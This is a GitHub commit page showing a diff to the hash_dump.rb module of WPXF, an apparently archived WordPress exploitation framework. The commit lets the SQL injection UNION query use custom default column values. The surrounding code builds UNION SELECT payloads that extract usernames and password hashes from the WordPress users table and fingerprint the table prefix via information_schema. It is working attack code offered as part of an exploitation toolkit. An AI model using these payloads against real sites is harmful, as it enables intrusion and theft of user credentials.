Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit ef64059

Browse files
committed
Add ability to specify custom default values for the fields in the union
1 parent a9ca705 commit ef64059

File tree

1 file changed

+17
-2
lines changed

1 file changed

+17
-2
lines changed

lib/wpxf/wordpress/hash_dump.rb

Lines changed: 17 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -29,9 +29,14 @@ def reveals_one_row_per_request
2929
false
3030
end
3131

32+
# @return [Array] an array of values to use in the generated union statement.
33+
def hashdump_custom_union_values
34+
[]
35+
end
36+
3237
# @return [String] a unique SQL select statement that can be used to extract the hashes.
3338
def hashdump_sql_statement
34-
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
39+
cols = hashdump_union_cols
3540
cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{eof_token})"
3641

3742
query = "select #{cols.join(',')} from #{table_prefix}users"
@@ -42,7 +47,7 @@ def hashdump_sql_statement
4247

4348
# @return [String] a unique SEL select statement that can be used to fingerprint the database prefix.
4449
def hashdump_prefix_fingerprint_statement
45-
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
50+
cols = hashdump_union_cols
4651
cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,table_name,0x3a,#{eof_token})"
4752

4853
query = "select #{cols.join(',')} from information_schema.tables where table_schema = database()"
@@ -109,6 +114,16 @@ def run
109114

110115
private
111116

117+
def hashdump_union_cols
118+
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
119+
120+
hashdump_custom_union_values.each_with_index do |value, index|
121+
cols[index] = value unless value.nil?
122+
end
123+
124+
cols
125+
end
126+
112127
def bof_token
113128
@bof_token
114129
end

0 commit comments

Comments
 (0)